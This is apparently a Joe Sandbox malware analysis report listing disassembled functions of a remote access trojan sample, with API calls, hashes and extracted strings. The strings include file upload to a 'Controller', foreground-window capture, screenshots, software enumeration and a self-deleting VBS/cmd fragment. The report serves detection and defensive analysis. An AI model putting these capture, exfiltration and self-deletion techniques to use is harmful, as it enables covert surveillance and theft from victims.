                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
                                                                                                                              • String ID: /stext "$0TG$0TG$NG$NG
                                                                                                                              • API String ID: 1223786279-2576077980
                                                                                                                              • Opcode ID: 2986c19d5eff0671da4a124577a32cf2d74727819232519ecdbd70d3c5314773
                                                                                                                              • Instruction ID: 3b0169c2c8bc9f0d695cedb60fdc7b81a1931596247e975dd6f1dc47d42db627
                                                                                                                              • Opcode Fuzzy Hash: 2986c19d5eff0671da4a124577a32cf2d74727819232519ecdbd70d3c5314773
                                                                                                                              • Instruction Fuzzy Hash: 990255311083418AC325FB62D851AEFB3E5AFD4348F50483EF58A971E2EF785A49C65A
                                                                                                                              Function 0041D58F Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 74windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • DefWindowProcA.USER32(?,00000401,?,?), ref: 0041D5DA
                                                                                                                              • GetCursorPos.USER32(?), ref: 0041D5E9
                                                                                                                              • SetForegroundWindow.USER32(?), ref: 0041D5F2
                                                                                                                              • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041D60C
                                                                                                                              • Shell_NotifyIconA.SHELL32(00000002,00474B48), ref: 0041D65D
                                                                                                                              • ExitProcess.KERNEL32 ref: 0041D665
                                                                                                                              • CreatePopupMenu.USER32 ref: 0041D66B
                                                                                                                              • AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0041D680
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
                                                                                                                              • String ID: Close
                                                                                                                              • API String ID: 1657328048-3535843008
                                                                                                                              • Opcode ID: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                                                                                                                              • Instruction ID: 483e3be36cf21f9f431d69439bfbb75804d706e25d1e382f075e68ac53faeb55
                                                                                                                              • Opcode Fuzzy Hash: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                                                                                                                              • Instruction Fuzzy Hash: 392127B1944208FFDB194FA4ED0EAAA3B65FB08342F000135FA0A950B1D775EDA1EB5D
                                                                                                                              Function 00404E26 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 65synchronizationCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • WaitForSingleObject.KERNEL32(?,000000FF,00000000,00474EF8,PkGNG,00000000,00474EF8,00404CA8,00000000,?,?,?,00474EF8,?), ref: 00404E38
                                                                                                                              • SetEvent.KERNEL32(?), ref: 00404E43
                                                                                                                              • CloseHandle.KERNEL32(?), ref: 00404E4C
                                                                                                                              • closesocket.WS2_32(?), ref: 00404E5A
                                                                                                                              • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404E91
                                                                                                                              • SetEvent.KERNEL32(?), ref: 00404EA2
                                                                                                                              • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404EA9
                                                                                                                              • SetEvent.KERNEL32(?), ref: 00404EBA
                                                                                                                              • CloseHandle.KERNEL32(?), ref: 00404EBF
                                                                                                                              • CloseHandle.KERNEL32(?), ref: 00404EC4
                                                                                                                              • SetEvent.KERNEL32(?), ref: 00404ED1
                                                                                                                              • CloseHandle.KERNEL32(?), ref: 00404ED6
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseEventHandle$ObjectSingleWait$closesocket
                                                                                                                              • String ID: PkGNG
                                                                                                                              • API String ID: 3658366068-263838557
                                                                                                                              • Opcode ID: 87d744648c5afa45b50529b6b6d14d146fbf4d1d8295755f98280c9be6f36435
                                                                                                                              • Instruction ID: 0c11cd9b042c69dc9d4dd2828563f6d61870a883144e53252efabab5b24bcc37
                                                                                                                              • Opcode Fuzzy Hash: 87d744648c5afa45b50529b6b6d14d146fbf4d1d8295755f98280c9be6f36435
                                                                                                                              • Instruction Fuzzy Hash: BF21E871104B04AFDB216B26DC49B27BBA1FF40326F104A2EE2E211AF1CB75B851DB58
                                                                                                                              Function 00445D56 Relevance: 22.8, APIs: 15, Instructions: 296COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: _free$Info
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2509303402-0
                                                                                                                              • Opcode ID: 5c7b1bf4f475568e38e69d940d0222fa4f9c7dd3754b5f784b0771feacd0cc66
                                                                                                                              • Instruction ID: 88ee944febda996c7adaaf7605242af7944d99fb061a5fd2e4f26fad8993db39
                                                                                                                              • Opcode Fuzzy Hash: 5c7b1bf4f475568e38e69d940d0222fa4f9c7dd3754b5f784b0771feacd0cc66
                                                                                                                              • Instruction Fuzzy Hash: 75B1CD719006059FEF20DF69C881BEEBBB4FF09304F14412EF5A8A7242D6799D45CB65
                                                                                                                              Function 00408B7A Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 328fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,000000B6), ref: 00408CE3
                                                                                                                              • GetFileSizeEx.KERNEL32(00000000,?), ref: 00408D1B
                                                                                                                              • __aulldiv.LIBCMT ref: 00408D4D
                                                                                                                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                                                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                                                              • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 00408E70
                                                                                                                              • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00408E8B
                                                                                                                              • CloseHandle.KERNEL32(00000000), ref: 00408F64
                                                                                                                              • CloseHandle.KERNEL32(00000000,00000052), ref: 00408FAE
                                                                                                                              • CloseHandle.KERNEL32(00000000), ref: 00408FFC
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: File$CloseHandle$CreateLocalPointerReadSizeTime__aulldivsend
                                                                                                                              • String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller: $NG
                                                                                                                              • API String ID: 3086580692-2582957567
                                                                                                                              • Opcode ID: 63a76c325e571f1cbcae1b5be894793c9b49cb204c16b04160e7bd094f2be9c7
                                                                                                                              • Instruction ID: 4fd1ef8f0950b8c70c5ee12d710945c0a569e6ad21e20d2a74dcf75f3ec9a52d
                                                                                                                              • Opcode Fuzzy Hash: 63a76c325e571f1cbcae1b5be894793c9b49cb204c16b04160e7bd094f2be9c7
                                                                                                                              • Instruction Fuzzy Hash: 95B193716083409BC314FB25C982AAFB7E5AFC4354F50492FF589622D2EF789945CB8B
                                                                                                                              Function 0040A726 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • Sleep.KERNEL32(00001388), ref: 0040A740
                                                                                                                                • Part of subcall function 0040A675: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,0040A74D), ref: 0040A6AB
                                                                                                                                • Part of subcall function 0040A675: GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                                                                                                                                • Part of subcall function 0040A675: Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                                                                                                                                • Part of subcall function 0040A675: CloseHandle.KERNEL32(00000000,?,?,?,0040A74D), ref: 0040A6EE
                                                                                                                              • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040A77C
                                                                                                                              • GetFileAttributesW.KERNEL32(00000000), ref: 0040A78D
                                                                                                                              • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040A7A4
                                                                                                                              • PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00000012), ref: 0040A81E
                                                                                                                                • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C49E
                                                                                                                              • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00466468,00000000,00000000,00000000), ref: 0040A927
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                                                                                                                              • String ID: 8SG$8SG$pQG$pQG$PG$PG
                                                                                                                              • API String ID: 3795512280-1152054767
                                                                                                                              • Opcode ID: f9bf0f70ca639f6d962135a3ade2805c3c6b71e3802994e37fdf4666e5df7246
                                                                                                                              • Instruction ID: 265ddfea45d140738b9a7e0f0353a6f5be26653907181caffe3561bb72ed66c0
                                                                                                                              • Opcode Fuzzy Hash: f9bf0f70ca639f6d962135a3ade2805c3c6b71e3802994e37fdf4666e5df7246
                                                                                                                              • Instruction Fuzzy Hash: A7517E716043055ACB09BB32C866ABE739A9F80349F00483FB642B71E2DF7C9D09865E
                                                                                                                              Function 004048C8 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 144networkCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • connect.WS2_32(?,?,?), ref: 004048E0
                                                                                                                              • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A00
                                                                                                                              • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A0E
                                                                                                                              • WSAGetLastError.WS2_32 ref: 00404A21
                                                                                                                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CreateEvent$ErrorLastLocalTimeconnect
                                                                                                                              • String ID: Connection Failed: $Connection Refused$PkGNG$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
                                                                                                                              • API String ID: 994465650-3229884001
                                                                                                                              • Opcode ID: 544a8dfd755885537e58458bfc18e92728dddd0fb449b18b6c8fe8c32441fe06
                                                                                                                              • Instruction ID: c5d57dbf39bf42eeb7f1fe8451fa1a1ddda5cb55b73798f96fdafd5064c5310c
                                                                                                                              • Opcode Fuzzy Hash: 544a8dfd755885537e58458bfc18e92728dddd0fb449b18b6c8fe8c32441fe06
                                                                                                                              • Instruction Fuzzy Hash: 3E41E8B47406016BD61877BA8D1B53E7A15AB81304B50017FE60267AD3EB7D9C108BDF
                                                                                                                              Function 004512C6 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • ___free_lconv_mon.LIBCMT ref: 0045130A
                                                                                                                                • Part of subcall function 00450502: _free.LIBCMT ref: 0045051F
                                                                                                                                • Part of subcall function 00450502: _free.LIBCMT ref: 00450531
                                                                                                                                • Part of subcall function 00450502: _free.LIBCMT ref: 00450543
                                                                                                                                • Part of subcall function 00450502: _free.LIBCMT ref: 00450555
                                                                                                                                • Part of subcall function 00450502: _free.LIBCMT ref: 00450567
                                                                                                                                • Part of subcall function 00450502: _free.LIBCMT ref: 00450579
                                                                                                                                • Part of subcall function 00450502: _free.LIBCMT ref: 0045058B
                                                                                                                                • Part of subcall function 00450502: _free.LIBCMT ref: 0045059D
                                                                                                                                • Part of subcall function 00450502: _free.LIBCMT ref: 004505AF
                                                                                                                                • Part of subcall function 00450502: _free.LIBCMT ref: 004505C1
                                                                                                                                • Part of subcall function 00450502: _free.LIBCMT ref: 004505D3
                                                                                                                                • Part of subcall function 00450502: _free.LIBCMT ref: 004505E5
                                                                                                                                • Part of subcall function 00450502: _free.LIBCMT ref: 004505F7
                                                                                                                              • _free.LIBCMT ref: 004512FF
                                                                                                                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
                                                                                                                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                                                                                                              • _free.LIBCMT ref: 00451321
                                                                                                                              • _free.LIBCMT ref: 00451336
                                                                                                                              • _free.LIBCMT ref: 00451341
                                                                                                                              • _free.LIBCMT ref: 00451363
                                                                                                                              • _free.LIBCMT ref: 00451376
                                                                                                                              • _free.LIBCMT ref: 00451384
                                                                                                                              • _free.LIBCMT ref: 0045138F
                                                                                                                              • _free.LIBCMT ref: 004513C7
                                                                                                                              • _free.LIBCMT ref: 004513CE
                                                                                                                              • _free.LIBCMT ref: 004513EB
                                                                                                                              • _free.LIBCMT ref: 00451403
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 161543041-0
                                                                                                                              • Opcode ID: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                                                                                                                              • Instruction ID: 673b37a441ff9bbb7eb6cd98574e5fa8379d72fae64c09c4febd1ea684bb8cd8
                                                                                                                              • Opcode Fuzzy Hash: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                                                                                                                              • Instruction Fuzzy Hash: 0E319E315007009FFB20AA7AD845B5B73E8EF0131AF50851FEC68D7662DF78AD448B59
                                                                                                                              Function 0041C6F3 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 182registryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • RegEnumKeyExA.ADVAPI32 ref: 0041C6F5
                                                                                                                              • RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 0041C726
                                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 0041C9BF
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseEnumOpen
                                                                                                                              • String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$UninstallString
                                                                                                                              • API String ID: 1332880857-3730529168
                                                                                                                              • Opcode ID: 9acb91869caa52ba962ff5e9cffe7dbf008cca4ae8889db815e50d5881a9b18e
                                                                                                                              • Instruction ID: 30dd124696def6d144da0f01c12024620090e461f41beb3abd2b2340f2562d2c
                                                                                                                              • Opcode Fuzzy Hash: 9acb91869caa52ba962ff5e9cffe7dbf008cca4ae8889db815e50d5881a9b18e
                                                                                                                              • Instruction Fuzzy Hash: E961F3711082419AD325EF11D851EEFB3E8BF94309F10493FB589921A2FF789E49CA5A
                                                                                                                              Function 00419FB4 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 176sleeptimeCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • __EH_prolog.LIBCMT ref: 00419FB9
                                                                                                                              • GdiplusStartup.GDIPLUS(00474ACC,?,00000000), ref: 00419FEB
                                                                                                                              • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 0041A077
                                                                                                                              • Sleep.KERNEL32(000003E8), ref: 0041A0FD
                                                                                                                              • GetLocalTime.KERNEL32(?), ref: 0041A105
                                                                                                                              • Sleep.KERNEL32(00000000,00000018,00000000), ref: 0041A1F4
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
                                                                                                                              • String ID: time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i$PG$PG$PG
                                                                                                                              • API String ID: 489098229-1431523004
                                                                                                                              • Opcode ID: be07b36dcab65f5e5c272518f3bea65f27a3b2e61561b3bdb245cf98e55336c3
                                                                                                                              • Instruction ID: 65e100c03f0dda0ba9a952c873ad8774fe275ee1deca45487f64c7c8a8292b0e
                                                                                                                              • Opcode Fuzzy Hash: be07b36dcab65f5e5c272518f3bea65f27a3b2e61561b3bdb245cf98e55336c3
                                                                                                                              • Instruction Fuzzy Hash: E7515D70A00215AACB14BBB5C8529ED7BA9AB44308F40403FF509AB1E2EF7C9D85C799
                                                                                                                              Function 0040D7FF Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 148COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,?,0040D80F), ref: 00412860
                                                                                                                                • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF,?,0040D80F), ref: 00412873
                                                                                                                                • Part of subcall function 004136F8: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,?,00000208), ref: 00413714
                                                                                                                                • Part of subcall function 004136F8: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 0041372D
                                                                                                                                • Part of subcall function 004136F8: RegCloseKey.ADVAPI32(?), ref: 00413738
                                                                                                                              • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040D859
                                                                                                                              • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D9B8
                                                                                                                              • ExitProcess.KERNEL32 ref: 0040D9C4
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                                                                                                                              • String ID: """, 0$.vbs$8SG$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
                                                                                                                              • API String ID: 1913171305-3159800282
                                                                                                                              • Opcode ID: 523fac73997d54481d8aebdb5cb67a2a0406e130f2c03ac9efc8718d19fe164d
                                                                                                                              • Instruction ID: 6fc8d312854778a25908ca85050b1cee1951ef16e4956e50e312a563d71e527c
                                                                                                                              • Opcode Fuzzy Hash: 523fac73997d54481d8aebdb5cb67a2a0406e130f2c03ac9efc8718d19fe164d
                                                                                                                              • Instruction Fuzzy Hash: 0C413A719001195ACB15FA62DC56DEEB778AF50309F10007FB10AB61E2EF785E4ACA98
                                                                                                                              Function 00450600 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: _free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 269201875-0
                                                                                                                              • Opcode ID: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
                                                                                                                              • Instruction ID: d910990a8472ee08c0279d8077499983e41ff25138a9859a729e4309013b5263
                                                                                                                              • Opcode Fuzzy Hash: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
                                                                                                                              • Instruction Fuzzy Hash: E2C17476D40204AFEB20DBA9CC83FDE77B8AB19705F14015AFE05EB283D6B49D458798
                                                                                                                              Function 00455BDB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 004558A9: CreateFileW.KERNEL32(00000000,00000000,?,00455C84,?,?,00000000,?,00455C84,00000000,0000000C), ref: 004558C6
                                                                                                                              • GetLastError.KERNEL32 ref: 00455CEF
                                                                                                                              • __dosmaperr.LIBCMT ref: 00455CF6
                                                                                                                              • GetFileType.KERNEL32(00000000), ref: 00455D02
                                                                                                                              • GetLastError.KERNEL32 ref: 00455D0C
                                                                                                                              • __dosmaperr.LIBCMT ref: 00455D15
                                                                                                                              • CloseHandle.KERNEL32(00000000), ref: 00455D35
                                                                                                                              • CloseHandle.KERNEL32(?), ref: 00455E7F
                                                                                                                              • GetLastError.KERNEL32 ref: 00455EB1
                                                                                                                              • __dosmaperr.LIBCMT ref: 00455EB8
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                                                                                              • String ID: H
                                                                                                                              • API String ID: 4237864984-2852464175
                                                                                                                              • Opcode ID: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
                                                                                                                              • Instruction ID: f4290dc4267d91ba683862cdaabef3013db21248f4240db41616def06e578eae
                                                                                                                              • Opcode Fuzzy Hash: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
                                                                                                                              • Instruction Fuzzy Hash: D5A155329106049FDF19AF68DC617BE3BA0EB06325F14415EEC11EB392CB398D5ACB59
                                                                                                                              Function 0044AC49 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 216COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,$C,0043EA24,?,?,PkGNG,0044AE9A,00000001,00000001,73E85006), ref: 0044ACA3
                                                                                                                              • __alloca_probe_16.LIBCMT ref: 0044ACDB
                                                                                                                              • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,PkGNG,0044AE9A,00000001,00000001,73E85006,?,?,?), ref: 0044AD29
                                                                                                                              • __alloca_probe_16.LIBCMT ref: 0044ADC0
                                                                                                                              • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,73E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0044AE23
                                                                                                                              • __freea.LIBCMT ref: 0044AE30
                                                                                                                                • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169
                                                                                                                              • __freea.LIBCMT ref: 0044AE39
                                                                                                                              • __freea.LIBCMT ref: 0044AE5E
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
                                                                                                                              • String ID: $C$PkGNG
                                                                                                                              • API String ID: 3864826663-3740547665
                                                                                                                              • Opcode ID: 362257cb831b64f560ca9c305cbafbf1ddd2a76c4c9bcde51592d12c0f33465e
                                                                                                                              • Instruction ID: b5b01290aead076256688b5938d42e4b2a7c64905c3dece0b68445a47d4ef5f6
                                                                                                                              • Opcode Fuzzy Hash: 362257cb831b64f560ca9c305cbafbf1ddd2a76c4c9bcde51592d12c0f33465e
                                                                                                                              • Instruction Fuzzy Hash: 1F513A72680206AFFB258F64CC41EBF77AAEB44714F24462EFC14D6240EB38DC60875A
                                                                                                                              Function 00450A25 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 204COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: _free
                                                                                                                              • String ID: \&G$\&G$`&G
                                                                                                                              • API String ID: 269201875-253610517
                                                                                                                              • Opcode ID: bf6a2d62285109b65615641ef8a9ee438ca725d72dbf644c1fcc8e573ee560d0
                                                                                                                              • Instruction ID: 0b3297c67b001fbc5a9f4fbe1fd197d652097ca420ae28a40b4f72db8b3ed5d1
                                                                                                                              • Opcode Fuzzy Hash: bf6a2d62285109b65615641ef8a9ee438ca725d72dbf644c1fcc8e573ee560d0
                                                                                                                              • Instruction Fuzzy Hash: 77610475900204AFDB20CFA9C882B9ABBF4EF05315F14416BED58EB342D774AD458B98
                                                                                                                              Function 00414BB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 158COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: 65535$udp
                                                                                                                              • API String ID: 0-1267037602
                                                                                                                              • Opcode ID: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
                                                                                                                              • Instruction ID: ff24d6befd6f0703c902a6165bd45161ed4db0fb5f75d2635e7e580b9b2721aa
                                                                                                                              • Opcode Fuzzy Hash: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
                                                                                                                              • Instruction Fuzzy Hash: EF51E7756093019FDB209B58E9057BB37A4AFC4755F08082FF881973A1E76DCCC1865E
                                                                                                                              Function 0040ACD6 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 156sleepCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • __Init_thread_footer.LIBCMT ref: 0040AD38
                                                                                                                              • Sleep.KERNEL32(000001F4), ref: 0040AD43
                                                                                                                              • GetForegroundWindow.USER32 ref: 0040AD49
                                                                                                                              • GetWindowTextLengthW.USER32(00000000), ref: 0040AD52
                                                                                                                              • GetWindowTextW.USER32(00000000,00000000,00000000), ref: 0040AD86
